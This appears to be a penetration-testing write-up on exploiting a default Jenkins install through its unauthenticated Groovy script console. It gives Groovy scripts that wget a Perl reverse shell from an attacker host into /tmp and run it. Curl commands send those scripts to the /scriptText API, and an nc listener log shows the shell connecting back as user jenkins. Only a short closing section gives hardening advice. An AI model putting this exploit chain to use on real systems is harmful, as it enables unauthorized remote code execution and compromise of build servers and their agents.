- Description:
- Tested Versions
- Tested Operating Systems
- Instructions
- More info about Jenkins
- More Resources
Description:
Jenkins (continuous intergration server) default install allows for unauthenticated access to the API on the Jenkins Master Server (default behavour). Allowing unauthenticated access to the groovy script console, allowing an attacker to execute shell commands and / or connect back with a reverse shell.
DISCLAIMER
Disclaimer, I didn't discover this exploit, it has been discovered before... This vulnerability has been disclosed before to the Jenkins CI developers, who do not consider it a vulnerability.
Tested Versions
Software | Version |
---|---|
|
Ver 1.626 |
|
Ver 1.638 |
Tested Operating Systems
An effort to test all affected OS’s, showing the severity of the exploit (e.g. jenkins shell) for the default OS packaged version.
Operating System | Default Package Expoit |
---|---|
|
shell as user jenkins |
Instructions
This is really basic, I made a few small groovy scripts to execute the shell commands I wanted via Jenkins API (I recall having some issues runing more than one command at a time via groovy), I then executed them using Curl.
groovy script wget shell
Script to wget perl reverse shell to target and copy it to /tmp/shell.
def command = "wget http://192.168.145.128/perl-reverse-shell.pl -O /tmp/shell"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
Jenkins requires /tmp to have exec perms
By default Jenkins requires /tmp
to have the execute mount option set, so you should be safe to land shells there on Jenkins servers.
groovy script execute shell command
def command = "perl /tmp/shell"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
Execute the Groovy Scripts via scriptText Jenkins API
curl -d "script=$(<./wget.groovy)" -X POST http://192.168.30.130:8080/scriptText
curl --data-urlencode "script=$(<./execute.groovy)" -X POST http://192.168.30.130:8080/scriptText
Get Shell
[root:~/pwn-jenkins]# nc -v -n -l -p 443
listening on [any] 443 ...
connect to [192.168.30.128] from (UNKNOWN) [192.168.30.130] 42340
21:16:17 up 15:17, 1 user, load average: 0.23, 0.31, 0.17
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 05:59 3:40 0.12s 0.12s -bash
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
/
apache: cannot set terminal process group (-1): Invalid argument
apache: no job control in this shell
apache-4.1$ whoami
whoami
jenkins
apache-4.1$ id
id
uid=498(jenkins) gid=499(jenkins) groups=499(jenkins) context=unconfined_u:system_r:unconfined_java_t:s0
apache-4.1$
Jenkins Does Not Consider this a Vulnerability
Dispite the fact the web application is insecure by default (the default install leaves the API and webapp exposed without authentication), Jenkins do not consider this a vulnerability. Your best option is to configure authentication by following the Securing Jenkinsi Guide
More info about Jenkins
Jenkins is a tool consisting of a master and a slave, the master server schedules and runs jobs for the jenkins slaves to execute. The default installation configures the master as a slave server, allowing anyone with access to the Jenkins master to execute arbitrary code on the master (via the slave).
A more secure solution would be isolating the role of the master server. Currently if a Jenkins master server is compromised, it’s likely an attacker will also be able to execute jobs / run shell scripts on the Jenkins slaves.
An additional ACL option within Matrix-based security to disable API, and another for script console / execution on the Jenkins Master would be a good idea. Currently the only options is to disable all script access for the user/group, which appears to include the slaves.
Be mindful of the fact that, by giving access to the slaves via the Jenkins Master, you’re essentially giving the user shell level access to the slave (or at least the ability to execute shell commands on the slave machine).
More Resources
More links about this vuln and similar Jenkins vulns below: